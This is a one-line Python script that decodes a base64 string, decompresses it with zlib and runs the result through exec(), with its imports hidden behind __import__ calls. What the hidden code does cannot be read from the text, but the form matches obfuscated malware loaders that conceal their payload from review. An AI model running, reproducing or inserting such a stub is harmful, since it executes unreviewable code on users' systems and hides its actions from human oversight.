exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENdalkWK4h4EBHB9SYibTKuoWkSMlmtiv/dDV28zPDevHnzYacYUqYY9AhZfjs7yKFHaBuJOe11ltlOQN5CojO1nqbe74Cf1WJDqpy+DrHCbmlWS+IrecTbh+u71+3T483VvSg6pYP3oDPnrFVZR+V3KYzKBiZX63VTi6IaEvQjqWDWEHOxL/MVOoDIzwVx3bKW2vvY65Gzy1smUSXQH7wR4rl+IaY7YifI57t1QB14bsSFO9iZk//q6UILAjNoXi5XBnSYYgJEvjxBDW1TSANFKX8Ysg3+CvIHWZdh2g==')[0])))